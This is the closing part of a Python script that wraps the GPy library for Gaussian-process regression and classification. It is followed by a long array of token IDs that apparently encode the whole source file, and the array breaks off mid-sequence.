k_name, var_f, lengthscale) #gp.create_kernel(num_active_gates, outdim, k_name, var_f, lengthscale) return gp def main(): X = np.arange(1,6).reshape((5,1)) f = lambda x : np.square(x-4.0) #Y = np.concatenate([f(X), -f(X)], axis=1) Y = np.concatenate([f(X)], axis=1) #noise_var = 0.01**2 #noise_var = np.concatenate([np.square(X / 10.)]*2, axis=1) noise_var = np.square(X / 10.) print(X.shape, Y.shape) gp = create_GP(1, 2, 'Matern52', 2.0, 1.0, 0.0) gp.create_model(X, Y, noise_var, noise_prior='fixed') gp.optimize() X_pred = np.linspace(1.,5.,10).reshape((-1,1)) mean, cov = gp.predict_f(X_pred) print(mean) #print(cov) ''' ### # GP Classification test ### X = np.arange(1,6).reshape((5,1)) Y = np.array([1.0, 1.0, 1.0, 0.0, 0.0]).reshape((5,1)) gpc = GPyWrapper_Classifier() gpc.create_kernel(1, 'RBF', 1.0, 1.0) gpc.create_model(X, Y) X_pred = np.linspace(1.,5.,10).reshape((-1,1)) print(gpc.predict_prob(X_pred)) print(gpc.model) gpc.optimize() print(gpc.predict_prob(X_pred)) print(gpc.model) ''' if __name__ == '__main__': main()
[ 1, 1053, 12655, 408, 7442, 13, 13, 5215, 402, 19737, 13, 13, 3166, 869, 19903, 29918, 13248, 1053, 28258, 10448, 29892, 3588, 29918, 2848, 7052, 29892, 3588, 29918, 29906, 29928, 29918, 4830, 13, 13, 1990, 402, 19737, 15646, 29898, 19903, 10448, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 396, 402, 19737, 6055, 13, 4706, 402, 19737, 29889, 5317, 1259, 29889, 3167, 29918, 5317, 1259, 29918, 5258, 703, 2922, 17357, 1159, 396, 671, 1775, 3733, 29873, 1982, 363, 11580, 13, 4706, 2428, 2141, 1649, 2344, 1649, 580, 13, 4706, 1583, 29889, 5064, 353, 29871, 29900, 29889, 29900, 13, 13, 1678, 822, 1653, 29918, 17460, 29898, 1311, 29892, 29871, 299, 326, 29892, 8466, 29918, 978, 29892, 722, 29918, 29888, 29922, 29896, 29889, 29900, 29892, 3309, 7052, 29922, 29896, 29889, 29900, 29892, 1040, 29918, 17460, 29922, 8824, 1125, 13, 4706, 565, 8466, 29918, 978, 1275, 525, 9782, 824, 29945, 29906, 2396, 13, 9651, 301, 353, 3588, 29918, 2848, 7052, 29898, 299, 326, 29892, 3309, 7052, 29897, 13, 9651, 8466, 353, 402, 19737, 29889, 22178, 29889, 9782, 824, 29945, 29906, 29898, 2080, 29918, 6229, 29922, 299, 326, 29892, 9033, 29928, 29922, 5574, 29892, 20162, 29922, 1707, 29918, 29888, 29892, 3309, 7052, 29922, 29880, 29892, 1024, 2433, 16121, 1495, 13, 4706, 25342, 8466, 29918, 978, 1275, 525, 29934, 28062, 2396, 13, 9651, 301, 353, 3588, 29918, 2848, 7052, 29898, 299, 326, 29892, 3309, 7052, 29897, 13, 9651, 8466, 353, 402, 19737, 29889, 22178, 29889, 29934, 28062, 29898, 2080, 29918, 6229, 29922, 299, 326, 29892, 9033, 29928, 29922, 5574, 29892, 20162, 29922, 1707, 29918, 29888, 29892, 3309, 7052, 29922, 29880, 29892, 1024, 2433, 16121, 1495, 13, 4706, 1683, 29901, 13, 9651, 12020, 7865, 2392, 877, 25807, 29884, 3016, 287, 8466, 29901, 525, 29974, 8466, 29918, 978, 29897, 13, 13, 4706, 1583, 29889, 299, 326, 353, 29871, 299, 326, 13, 4706, 1583, 29889, 17460, 353, 8466, 13, 13, 4706, 565, 1040, 29918, 17460, 29901, 13, 9651, 1583, 29889, 17460, 4619, 402, 19737, 29889, 22178, 29889, 29933, 3173, 29898, 29896, 29889, 29900, 29897, 13, 9651, 1583, 29889, 6112, 29918, 17460, 353, 1583, 29889, 17460, 29889, 16121, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 6112, 29918, 17460, 353, 1583, 29889, 17460, 13, 13, 1678, 822, 731, 29918, 17460, 29918, 2848, 29918, 29886, 13479, 29898, 1311, 29892, 7536, 29918, 12676, 29892, 7536, 29918, 1707, 1125, 13, 4706, 565, 1583, 29889, 299, 326, 2804, 7431, 29898, 29886, 13479, 29918, 12676, 29897, 470, 1583, 29889, 299, 326, 2804, 7431, 29898, 29886, 13479, 29918, 1707, 1125, 13, 9651, 12020, 7865, 2392, 877, 797, 15728, 8466, 7536, 4128, 29889, 1495, 13, 4706, 565, 1583, 29889, 17460, 338, 6213, 29901, 13, 9651, 12020, 7865, 2392, 877, 29968, 5851, 881, 367, 3342, 937, 29889, 1495, 13, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 299, 326, 1125, 13, 9651, 1583, 29889, 6112, 29918, 17460, 29889, 2848, 7052, 8999, 29875, 29962, 1822, 842, 29918, 29886, 13479, 29898, 29954, 19737, 29889, 29886, 28739, 29889, 6642, 29889, 3166, 29918, 22240, 29898, 29886, 13479, 29918, 12676, 29961, 29875, 1402, 29886, 13479, 29918, 1707, 29961, 29875, 12622, 396, 1016, 29915, 29873, 1073, 2020, 29892, 541, 518, 29875, 29962, 947, 451, 664, 13, 13, 1678, 822, 731, 29918, 17460, 29918, 1707, 29918, 29886, 13479, 29898, 1311, 29892, 7536, 29918, 12676, 29892, 7536, 29918, 1707, 1125, 13, 4706, 1583, 29889, 6112, 29918, 17460, 29889, 1707, 8837, 29889, 842, 29918, 29886, 13479, 29898, 29954, 19737, 29889, 29886, 28739, 29889, 6642, 29889, 3166, 29918, 22240, 29898, 29886, 13479, 29918, 12676, 29892, 29886, 13479, 29918, 1707, 876, 13, 13, 1678, 822, 2329, 29918, 17460, 29918, 2848, 7052, 29898, 1311, 1125, 13, 4706, 1583, 29889, 6112, 29918, 17460, 29889, 2848, 7052, 29889, 5878, 580, 13, 1678, 822, 2329, 29918, 17460, 29918, 1707, 29898, 1311, 1125, 13, 4706, 1583, 29889, 6112, 29918, 17460, 29889, 1707, 8837, 29889, 5878, 580, 13, 13, 1678, 822, 1653, 29918, 4299, 29898, 1311, 29892, 921, 29892, 343, 29892, 11462, 29918, 1707, 29892, 11462, 29918, 29886, 13479, 2433, 20227, 29374, 13, 4706, 921, 353, 3588, 29918, 29906, 29928, 29918, 4830, 29898, 29916, 29897, 13, 4706, 343, 353, 3588, 29918, 29906, 29928, 29918, 4830, 29898, 29891, 29897, 448, 1583, 29889, 5064, 13, 4706, 1583, 29889, 449, 6229, 353, 343, 29889, 12181, 29961, 29896, 29962, 13, 4706, 11462, 29918, 1707, 353, 7442, 29889, 2378, 29898, 1217, 895, 29918, 1707, 29897, 13, 4706, 565, 11462, 29918, 1707, 29889, 299, 326, 1275, 29871, 29900, 29901, 13, 9651, 1583, 29889, 4299, 353, 402, 19737, 29889, 9794, 29889, 19903, 4597, 23881, 29898, 29916, 29892, 343, 29892, 1583, 29889, 17460, 29892, 11462, 29918, 1707, 29922, 1217, 895, 29918, 1707, 29897, 13, 9651, 11462, 353, 1583, 29889, 4299, 29889, 29954, 17019, 29918, 1217, 895, 13, 4706, 1683, 29901, 13, 9651, 4974, 11462, 29918, 1707, 29889, 12181, 1275, 343, 29889, 12181, 13, 9651, 1583, 29889, 4299, 353, 402, 19737, 29889, 9794, 29889, 29954, 19689, 1308, 359, 1133, 6288, 4597, 23881, 29898, 29916, 29892, 343, 29892, 1583, 29889, 17460, 29897, 13, 9651, 1583, 29889, 4299, 1839, 5575, 9188, 29918, 29954, 11214, 29889, 1707, 8837, 2033, 353, 11462, 29918, 1707, 13, 9651, 11462, 353, 1583, 29889, 4299, 29889, 9188, 29918, 29954, 11214, 29889, 1707, 8837, 13, 13, 4706, 565, 11462, 29918, 29886, 13479, 1275, 525, 20227, 2396, 13, 9651, 11462, 29889, 5878, 580, 13, 4706, 1683, 29901, 13, 9651, 12020, 7865, 2392, 877, 3664, 1954, 2037, 287, 3447, 29889, 1495, 13, 13, 1678, 822, 8500, 29918, 29888, 29898, 1311, 29892, 921, 29892, 2989, 29918, 24542, 29922, 8824, 1125, 13, 4706, 14550, 13, 4706, 16969, 29901, 13, 9651, 13446, 2099, 29892, 13446, 20162, 13, 4706, 14550, 13, 4706, 921, 353, 3588, 29918, 29906, 29928, 29918, 4830, 29898, 29916, 29897, 13, 4706, 1400, 29918, 12676, 29892, 1400, 29918, 1707, 353, 1583, 29889, 4299, 29889, 27711, 29918, 1217, 275, 6393, 29898, 29916, 29892, 2989, 29918, 24542, 29922, 8159, 29918, 24542, 29897, 13, 4706, 565, 1583, 29889, 449, 6229, 1405, 29871, 29896, 29901, 13, 9651, 1400, 29918, 1707, 353, 7442, 29889, 535, 29883, 2579, 403, 4197, 2490, 29918, 1707, 14178, 1311, 29889, 449, 6229, 29892, 9685, 10457, 29896, 29897, 13, 4706, 736, 1400, 29918, 12676, 718, 1583, 29889, 5064, 29892, 1400, 29918, 1707, 13, 13, 1678, 822, 8500, 29918, 2541, 25584, 10070, 29898, 1311, 29892, 921, 1125, 13, 4706, 14550, 13, 4706, 6780, 798, 287, 515, 2045, 597, 3292, 29889, 510, 29914, 13468, 600, 969, 1988, 29914, 29954, 19737, 20624, 29914, 10054, 29914, 6207, 29914, 29954, 19737, 20624, 29914, 9794, 29914, 29887, 29886, 4299, 29889, 2272, 13, 4706, 16969, 278, 2099, 29892, 3918, 29522, 29892, 2099, 16030, 322, 3918, 29522, 16030, 472, 1060, 29889, 13, 4706, 14550, 13, 4706, 921, 353, 3588, 29918, 29906, 29928, 29918, 4830, 29898, 29916, 29897, 13, 4706, 286, 29892, 325, 353, 1583, 29889, 4299, 29889, 27711, 29898, 29916, 29897, 13, 4706, 325, 353, 7442, 29889, 24049, 29898, 29894, 29892, 29871, 29896, 29872, 29899, 29896, 29900, 29892, 7442, 29889, 7192, 29897, 13, 4706, 270, 3487, 29916, 29892, 14897, 8235, 353, 1583, 29889, 4299, 29889, 27711, 573, 29918, 5105, 10070, 29898, 29916, 29897, 13, 4706, 270, 3487, 29916, 353, 270, 3487, 29916, 7503, 29892, 29901, 29892, 29900, 29962, 13, 4706, 270, 4928, 29916, 353, 14897, 8235, 847, 313, 29906, 29930, 9302, 29889, 3676, 29898, 29894, 876, 13, 4706, 736, 286, 718, 1583, 29889, 5064, 29892, 7442, 29889, 3676, 29898, 29894, 511, 270, 3487, 29916, 29892, 270, 4928, 29916, 13, 13, 1678, 822, 13446, 29918, 11249, 29918, 29888, 29898, 1311, 29892, 921, 29892, 2159, 353, 29871, 29896, 29900, 1125, 13, 4706, 14550, 13, 4706, 12662, 2699, 13, 4706, 921, 29901, 313, 29940, 1482, 921, 1881, 29918, 6229, 29897, 13, 4706, 16969, 13, 4706, 313, 29940, 1482, 921, 1962, 29918, 6229, 921, 11916, 29897, 13, 13, 4706, 14550, 13, 4706, 736, 1583, 29889, 4299, 29889, 2490, 261, 1611, 29918, 27736, 29918, 29888, 29898, 29916, 29892, 2159, 29897, 718, 1583, 29889, 5064, 13, 13, 1678, 822, 24656, 29898, 1311, 29892, 954, 29918, 5060, 5708, 29922, 29941, 29900, 29892, 3523, 29918, 19158, 29922, 8824, 29892, 1596, 29918, 2914, 29922, 5574, 29892, 8943, 29922, 8824, 1125, 13, 4706, 1583, 29889, 4299, 29889, 20640, 675, 29918, 5060, 5708, 29898, 1949, 29918, 5060, 5708, 29922, 1949, 29918, 5060, 5708, 29892, 16424, 29922, 5574, 29892, 8943, 29922, 8824, 29892, 7191, 29922, 3670, 29918, 19158, 29897, 13, 4706, 565, 1596, 29918, 2914, 29901, 13, 9651, 1596, 29898, 1311, 29889, 17460, 29897, 13, 9651, 1596, 29898, 1311, 29889, 6112, 29918, 17460, 29889, 2848, 7052, 29897, 13, 9651, 1596, 29898, 1311, 29889, 6112, 29918, 17460, 29889, 1707, 8837, 29897, 13, 13, 1990, 402, 19737, 15646, 29918, 2385, 3709, 29898, 29954, 19737, 15646, 1125, 13, 1678, 822, 1653, 29918, 4299, 29898, 1311, 29892, 921, 29892, 343, 1125, 13, 4706, 4974, 1583, 29889, 5064, 1275, 29871, 29900, 29889, 29900, 13, 4706, 921, 353, 3588, 29918, 29906, 29928, 29918, 4830, 29898, 29916, 29897, 13, 4706, 343, 353, 3588, 29918, 29906, 29928, 29918, 4830, 29898, 29891, 29897, 13, 4706, 1583, 29889, 449, 6229, 353, 343, 29889, 12181, 29961, 29896, 29962, 13, 4706, 1583, 29889, 4299, 353, 402, 19737, 29889, 9794, 29889, 19903, 2385, 2450, 29898, 29916, 29892, 343, 29892, 1583, 29889, 17460, 29897, 13, 13, 1678, 822, 8500, 29918, 22795, 29898, 1311, 29892, 921, 1125, 13, 4706, 921, 353, 3588, 29918, 29906, 29928, 29918, 4830, 29898, 29916, 29897, 13, 4706, 2070, 353, 1583, 29889, 4299, 29889, 27711, 29898, 29916, 29892, 2989, 29918, 24542, 29922, 8824, 9601, 29900, 29962, 13, 4706, 736, 2070, 13, 13, 1678, 822, 24656, 29898, 1311, 29892, 4236, 1524, 29922, 29896, 29900, 29900, 29900, 29892, 3523, 29918, 19158, 29922, 8824, 29892, 1596, 29918, 2914, 29922, 5574, 1125, 13, 4706, 363, 474, 297, 3464, 29898, 29945, 1125, 13, 9651, 1583, 29889, 4299, 29889, 20640, 675, 29898, 3317, 29918, 277, 414, 29922, 524, 29898, 3317, 1524, 29914, 29945, 511, 7191, 29922, 3670, 29918, 19158, 29897, 13, 4706, 565, 1596, 29918, 2914, 29901, 13, 9651, 1596, 29898, 1311, 29889, 17460, 29897, 13, 9651, 1596, 29898, 1311, 29889, 6112, 29918, 17460, 29889, 2848, 7052, 29897, 13, 13, 1990, 402, 19737, 15646, 29918, 15329, 2008, 862, 403, 29898, 3318, 1125, 13, 1678, 822, 1653, 29918, 17460, 29898, 1311, 29892, 29871, 299, 326, 29892, 714, 6229, 29892, 8466, 29918, 978, 29892, 722, 29918, 29888, 29922, 29896, 29889, 29900, 29892, 3309, 7052, 29922, 29896, 29889, 29900, 29892, 1040, 29918, 17460, 29922, 8824, 1125, 13, 4706, 565, 338, 8758, 29898, 17460, 29918, 978, 29892, 851, 1125, 13, 9651, 8466, 29918, 978, 353, 518, 17460, 29918, 978, 14178, 449, 6229, 13, 4706, 565, 7442, 29889, 790, 1052, 279, 29898, 1707, 29918, 29888, 1125, 13, 9651, 722, 29918, 29888, 353, 7442, 29889, 2873, 29898, 449, 6229, 29897, 334, 722, 29918, 29888, 13, 4706, 565, 7442, 29889, 790, 1052, 279, 29898, 2848, 7052, 1125, 13, 9651, 722, 29918, 29888, 353, 7442, 29889, 2873, 29898, 449, 6229, 29897, 334, 3309, 7052, 13, 4706, 565, 338, 8758, 29898, 3075, 29918, 17460, 29892, 6120, 1125, 13, 9651, 1040, 29918, 17460, 353, 518, 3075, 29918, 17460, 14178, 449, 6229, 13, 13, 4706, 1583, 29889, 29887, 29886, 29918, 1761, 353, 1051, 580, 13, 4706, 363, 474, 297, 3464, 29898, 449, 6229, 1125, 13, 9651, 330, 29886, 353, 402, 19737, 15646, 580, 13, 9651, 330, 29886, 29889, 3258, 29918, 17460, 29898, 299, 326, 29892, 8466, 29918, 978, 29961, 29875, 1402, 722, 29918, 29888, 29961, 29875, 1402, 3309, 7052, 29961, 29875, 1402, 1040, 29918, 17460, 29961, 29875, 2314, 13, 9651, 1583, 29889, 29887, 29886, 29918, 1761, 29889, 4397, 29898, 29887, 29886, 29897, 13, 4706, 1583, 29889, 449, 6229, 353, 714, 6229, 13, 13, 1678, 822, 731, 29918, 17460, 29918, 2848, 29918, 29886, 13479, 29898, 1311, 29892, 7536, 29918, 12676, 29892, 7536, 29918, 1707, 1125, 13, 4706, 396, 2401, 368, 1021, 7536, 363, 599, 14391, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 449, 6229, 1125, 13, 9651, 1583, 29889, 29887, 29886, 29918, 1761, 29961, 29875, 1822, 842, 29918, 17460, 29918, 2848, 29918, 29886, 13479, 29898, 29886, 13479, 29918, 12676, 29892, 7536, 29918, 1707, 29897, 13, 13, 1678, 822, 731, 29918, 17460, 29918, 1707, 29918, 29886, 13479, 29898, 1311, 29892, 7536, 29918, 12676, 29892, 7536, 29918, 1707, 1125, 13, 4706, 396, 2401, 368, 1021, 7536, 363, 599, 14391, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 449, 6229, 1125, 13, 9651, 1583, 29889, 29887, 29886, 29918, 1761, 29961, 29875, 1822, 842, 29918, 17460, 29918, 1707, 29918, 29886, 13479, 29898, 29886, 13479, 29918, 12676, 29892, 7536, 29918, 1707, 29897, 13, 13, 1678, 822, 2329, 29918, 17460, 29918, 2848, 7052, 29898, 1311, 1125, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 449, 6229, 1125, 13, 9651, 1583, 29889, 29887, 29886, 29918, 1761, 29961, 29875, 1822, 5878, 29918, 17460, 29918, 2848, 7052, 580, 13, 13, 1678, 822, 2329, 29918, 17460, 29918, 1707, 29898, 1311, 1125, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 449, 6229, 1125, 13, 9651, 1583, 29889, 29887, 29886, 29918, 1761, 29961, 29875, 1822, 5878, 29918, 17460, 29918, 1707, 580, 13, 13, 1678, 822, 1653, 29918, 4299, 29898, 1311, 29892, 921, 29892, 343, 29892, 11462, 29918, 1707, 29892, 11462, 29918, 29886, 13479, 2433, 20227, 29374, 13, 4706, 565, 451, 313, 29891, 29889, 299, 326, 1275, 29871, 29906, 322, 343, 29889, 12181, 29961, 29896, 29962, 1275, 1583, 29889, 449, 6229, 1125, 13, 9651, 12020, 7865, 2392, 877, 797, 15728, 848, 8267, 29889, 1495, 13, 13, 4706, 11462, 29918, 1707, 353, 7442, 29889, 2378, 29898, 1217, 895, 29918, 1707, 29897, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 449, 6229, 1125, 13, 9651, 565, 11462, 29918, 1707, 29889, 299, 326, 1275, 29871, 29906, 322, 11462, 29918, 1707, 29889, 12181, 29961, 29896, 29962, 1275, 1583, 29889, 449, 6229, 29901, 13, 18884, 11462, 29918, 1707, 29918, 29875, 353, 11462, 29918, 1707, 7503, 29892, 474, 29901, 29875, 29974, 29896, 29962, 13, 9651, 1683, 29901, 13, 18884, 11462, 29918, 1707, 29918, 29875, 353, 11462, 29918, 1707, 13, 9651, 330, 29886, 353, 1583, 29889, 29887, 29886, 29918, 1761, 29961, 29875, 29962, 13, 9651, 330, 29886, 29889, 3258, 29918, 4299, 29898, 29916, 29892, 343, 7503, 29892, 29875, 29901, 29875, 29974, 29896, 1402, 11462, 29918, 1707, 29918, 29875, 29892, 11462, 29918, 29886, 13479, 29897, 13, 13, 1678, 822, 8500, 29918, 29888, 29898, 1311, 29892, 921, 29892, 2989, 29918, 24542, 29922, 8824, 1125, 13, 4706, 1400, 29918, 12676, 29918, 497, 353, 1051, 580, 13, 4706, 1400, 29918, 1707, 29918, 497, 353, 1051, 580, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 449, 6229, 1125, 13, 9651, 1400, 29918, 12676, 29892, 1400, 29918, 1707, 353, 1583, 29889, 29887, 29886, 29918, 1761, 29961, 29875, 1822, 27711, 29918, 29888, 29898, 29916, 29892, 2989, 29918, 24542, 29897, 13, 9651, 1400, 29918, 12676, 29918, 497, 29889, 4397, 29898, 2490, 29918, 12676, 29897, 13, 9651, 1400, 29918, 1707, 29918, 497, 29889, 4397, 29898, 2490, 29918, 1707, 29897, 13, 13, 4706, 736, 7442, 29889, 535, 29883, 2579, 403, 29898, 2490, 29918, 12676, 29918, 497, 29892, 8990, 10457, 29896, 511, 7442, 29889, 535, 29883, 2579, 403, 29898, 2490, 29918, 1707, 29918, 497, 29892, 8990, 10457, 29896, 29897, 13, 13, 1678, 822, 13446, 29918, 11249, 29918, 29888, 29898, 1311, 29892, 921, 29892, 2159, 353, 29871, 29896, 29900, 1125, 13, 4706, 1400, 29918, 27736, 29918, 497, 353, 1051, 580, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 449, 6229, 1125, 13, 9651, 1400, 29918, 27736, 353, 1583, 29889, 29887, 29886, 29918, 1761, 29961, 29875, 1822, 27711, 29918, 29888, 29898, 29916, 29892, 2989, 29918, 24542, 29897, 13, 9651, 1400, 29918, 27736, 29918, 497, 29889, 4397, 29898, 2490, 29918, 27736, 29897, 13, 4706, 736, 7442, 29889, 535, 29883, 2579, 403, 29898, 2490, 29918, 27736, 29918, 497, 29892, 8990, 29922, 29896, 29897, 13, 13, 1678, 822, 24656, 29898, 1311, 29892, 954, 29918, 5060, 5708, 29922, 29941, 29900, 29892, 3523, 29918, 19158, 29922, 8824, 29892, 1596, 29918, 2914, 29922, 8824, 1125, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 449, 6229, 1125, 13, 9651, 1583, 29889, 29887, 29886, 29918, 1761, 29961, 29875, 1822, 20640, 675, 29898, 1949, 29918, 5060, 5708, 29892, 3523, 29918, 19158, 29892, 1596, 29918, 2914, 29897, 13, 13, 1678, 822, 8500, 29918, 2541, 25584, 10070, 29898, 1311, 29892, 921, 1125, 13, 4706, 14550, 13, 4706, 6780, 798, 287, 515, 2045, 597, 3292, 29889, 510, 29914, 13468, 600, 969, 1988, 29914, 29954, 19737, 20624, 29914, 10054, 29914, 6207, 29914, 29954, 19737, 20624, 29914, 9794, 29914, 29887, 29886, 4299, 29889, 2272, 13, 4706, 16969, 278, 2099, 29892, 3918, 29522, 29892, 2099, 16030, 322, 3918, 29522, 16030, 472, 1060, 29889, 13, 9651, 286, 29918, 497, 29901, 313, 1949, 29918, 29916, 29892, 714, 6229, 29897, 259, 13, 9651, 3659, 29918, 497, 29901, 313, 1949, 29918, 29916, 29892, 714, 6229, 29897, 259, 13, 9651, 270, 3487, 29916, 29918, 497, 29901, 313, 1949, 29918, 29916, 29892, 714, 6229, 29892, 302, 29918, 6229, 29897, 13, 9651, 270, 4928, 29916, 29918, 497, 29901, 313, 1949, 29918, 29916, 29892, 714, 6229, 29892, 302, 29918, 6229, 29897, 13, 4706, 14550, 13, 4706, 286, 29918, 497, 29892, 3659, 29918, 497, 29892, 270, 3487, 29916, 29918, 497, 29892, 270, 4928, 29916, 29918, 497, 353, 19997, 19997, 19997, 5159, 13, 4706, 363, 474, 297, 3464, 29898, 1311, 29889, 449, 6229, 1125, 13, 9651, 286, 29892, 3659, 29892, 270, 3487, 29916, 29892, 270, 4928, 29916, 353, 1583, 29889, 29887, 29886, 29918, 1761, 29961, 29875, 1822, 27711, 29918, 2541, 25584, 10070, 29898, 29916, 29897, 13, 9651, 286, 29918, 497, 29889, 4397, 29898, 29885, 29897, 13, 9651, 3659, 29918, 497, 29889, 4397, 29898, 4172, 29897, 13, 9651, 270, 3487, 29916, 29918, 497, 29889, 4397, 29898, 29881, 3487, 29916, 29897, 13, 9651, 270, 4928, 29916, 29918, 497, 29889, 4397, 29898, 29881, 4928, 29916, 29897, 13, 4706, 736, 7442, 29889, 535, 29883, 2579, 403, 29898, 29885, 29918, 497, 29892, 8990, 10457, 29896, 511, 7442, 29889, 535, 29883, 2579, 403, 29898, 4172, 29918, 497, 29892, 8990, 10457, 29896, 511, 7442, 29889, 1429, 29898, 29881, 3487, 29916, 29918, 497, 29892, 8990, 29922, 29896, 511, 7442, 29889, 1429, 29898, 29881, 4928, 29916, 29918, 497, 29892, 8990, 29922, 29896, 29897, 13, 13, 1990, 402, 19737, 15646, 29918, 15329, 2568, 1022, 29898, 29954, 19737, 15646, 1125, 13, 1678, 822, 1653, 29918, 17460, 29898, 1311, 29892, 29871, 299, 326, 29892, 714, 6229, 29892, 8466, 29918, 978, 29892, 722, 29918, 29888, 29922, 29896, 29889, 29900, 29892, 3309, 7052, 29922, 29896, 29889, 29900, 29892, 1040, 29918, 17460, 29922, 8824, 1125, 13, 4706, 2428, 2141, 3258, 29918, 17460, 29898, 299, 326, 29892, 8466, 29918, 978, 29892, 722, 29918, 29888, 29892, 3309, 7052, 29892, 1040, 29918, 17460, 29897, 13, 13, 4706, 413, 29918, 9910, 353, 402, 19737, 29889, 22178, 29889, 2568, 1022, 3906, 6466, 29879, 4197, 1311, 29889, 17460, 29892, 1583, 29889, 17460, 29889, 8552, 580, 2314, 13, 4706, 396, 293, 29885, 353, 402, 19737, 29889, 4422, 29889, 9910, 4905, 29889, 2965, 29924, 29898, 2080, 29918, 6229, 29922, 299, 326, 29892, 954, 29918, 4905, 29879, 29922, 449, 6229, 29892, 8466, 29922, 1311, 29889, 17460, 29897, 13, 4706, 396, 293, 29885, 29889, 29933, 29889, 29956, 29889, 3075, 6038, 29918, 20227, 29898, 29900, 29897, 396, 2329, 399, 4636, 304, 29871, 29900, 13, 13, 4706, 565, 1040, 29918, 17460, 29901, 13, 9651, 1583, 29889, 6112, 29918, 17460, 353, 413, 29918, 9910, 29889, 2083, 29889, 16121, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 6112, 29918, 17460, 353, 413, 29918, 9910, 29889, 16121, 13, 4706, 1583, 29889, 17460, 353, 413, 29918, 9910, 13, 4706, 1596, 29898, 1311, 29889, 17460, 29897, 13, 13, 1678, 822, 1653, 29918, 4299, 29898, 1311, 29892, 921, 29892, 343, 29892, 11462, 29918, 1707, 29892, 11462, 29918, 29886, 13479, 2433, 20227, 29374, 13, 4706, 921, 353, 3588, 29918, 29906, 29928, 29918, 4830, 29898, 29916, 29897, 13, 4706, 343, 353, 3588, 29918, 29906, 29928, 29918, 4830, 29898, 29891, 29897, 448, 1583, 29889, 5064, 13, 13, 4706, 954, 1272, 353, 921, 29889, 12181, 29961, 29900, 29962, 13, 4706, 714, 6229, 353, 343, 29889, 12181, 29961, 29896, 29962, 13, 4706, 1399, 326, 353, 921, 29889, 12181, 29961, 29896, 29962, 13, 13, 4706, 343, 29891, 353, 343, 29889, 3286, 4220, 2141, 336, 955, 580, 13, 4706, 1399, 353, 7442, 29889, 535, 29883, 2579, 403, 4197, 288, 29930, 9302, 29889, 2873, 29898, 1949, 1272, 29897, 363, 288, 297, 3464, 29898, 449, 6229, 29897, 2314, 13, 4706, 15473, 353, 7442, 29889, 535, 29883, 2579, 403, 4197, 29916, 14178, 449, 6229, 29897, 13, 4706, 15473, 353, 7442, 29889, 535, 29883, 2579, 403, 3552, 4419, 29892, 513, 7503, 29892, 9302, 29889, 1482, 8990, 11724, 9685, 29922, 29896, 29897, 13, 13, 4706, 1596, 29898, 4419, 29889, 12181, 29892, 343, 29891, 29889, 12181, 29897, 13, 13, 4706, 1583, 29889, 4299, 353, 402, 19737, 29889, 9794, 29889, 19903, 4597, 23881, 29898, 29916, 29892, 343, 29892, 1583, 29889, 17460, 29892, 11462, 29918, 1707, 29922, 1217, 895, 29918, 1707, 29897, 13, 4706, 565, 11462, 29918, 29886, 13479, 1275, 525, 20227, 2396, 13, 9651, 1583, 29889, 4299, 29889, 29954, 17019, 29918, 1217, 895, 29889, 5878, 580, 13, 4706, 1683, 29901, 13, 9651, 12020, 7865, 2392, 877, 3664, 1954, 2037, 287, 3447, 29889, 1495, 13, 13, 1753, 1653, 29918, 19903, 29898, 1949, 29918, 4925, 29918, 29887, 1078, 29892, 714, 6229, 29892, 413, 29918, 978, 2433, 9782, 824, 29945, 29906, 742, 722, 29918, 29888, 29922, 29896, 29889, 29900, 29892, 3309, 7052, 29922, 29896, 29889, 29900, 29892, 4818, 29922, 29900, 29889, 29900, 1125, 13, 1678, 565, 7442, 29889, 790, 1052, 279, 29898, 2848, 7052, 1125, 13, 4706, 3309, 7052, 353, 7442, 29889, 2873, 29898, 1949, 29918, 4925, 29918, 29887, 1078, 29897, 13, 1678, 330, 29886, 353, 402, 19737, 15646, 580, 396, 11905, 28258, 5177, 13, 1678, 396, 29887, 29886, 353, 402, 19737, 15646, 29918, 15329, 2568, 1022, 580, 396, 11905, 28258, 5177, 13, 1678, 330, 29886, 29889, 5064, 353, 4818, 13, 1678, 396, 28258, 413, 824, 1379, 13, 1678, 330, 29886, 29889, 3258, 29918, 17460, 29898, 1949, 29918, 4925, 29918, 29887, 1078, 29892, 413, 29918, 978, 29892, 722, 29918, 29888, 29892, 3309, 7052, 29897, 13, 1678, 396, 29887, 29886, 29889, 3258, 29918, 17460, 29898, 1949, 29918, 4925, 29918, 29887, 1078, 29892, 714, 6229, 29892, 413, 29918, 978, 29892, 722, 29918, 29888, 29892, 3309, 7052, 29897, 13, 1678, 736, 330, 29886, 13, 13, 1753, 1667, 7295, 13, 1678, 1060, 353, 7442, 29889, 279, 927, 29898, 29896, 29892, 29953, 467, 690, 14443, 3552, 29945, 29892, 29896, 876, 13, 1678, 285, 353, 14013, 921, 584, 7442, 29889, 17619, 29898, 29916, 29899, 29946, 29889, 29900, 29897, 13, 1678, 396, 29979, 353, 7442, 29889, 535, 29883, 2579, 403, 4197, 29888, 29898, 29990, 511, 448, 29888, 29898, 29990, 29897, 1402, 9685, 29922, 29896, 29897, 13, 1678, 612, 353, 7442, 29889, 535, 29883, 2579, 403, 4197, 29888, 29898, 29990, 29897, 1402, 9685, 29922, 29896, 29897, 13, 1678, 396, 1217, 895, 29918, 1707, 353, 29871, 29900, 29889, 29900, 29896, 1068, 29906, 13, 1678, 396, 1217, 895, 29918, 1707, 353, 7442, 29889, 535, 29883, 2579, 403, 4197, 9302, 29889, 17619, 29898, 29990, 847, 29871, 29896, 29900, 1846, 14178, 29906, 29892, 9685, 29922, 29896, 29897, 13, 1678, 11462, 29918, 1707, 353, 7442, 29889, 17619, 29898, 29990, 847, 29871, 29896, 29900, 1846, 13, 1678, 1596, 29898, 29990, 29889, 12181, 29892, 612, 29889, 12181, 29897, 13, 1678, 330, 29886, 353, 1653, 29918, 19903, 29898, 29896, 29892, 29871, 29906, 29892, 525, 9782, 824, 29945, 29906, 742, 29871, 29906, 29889, 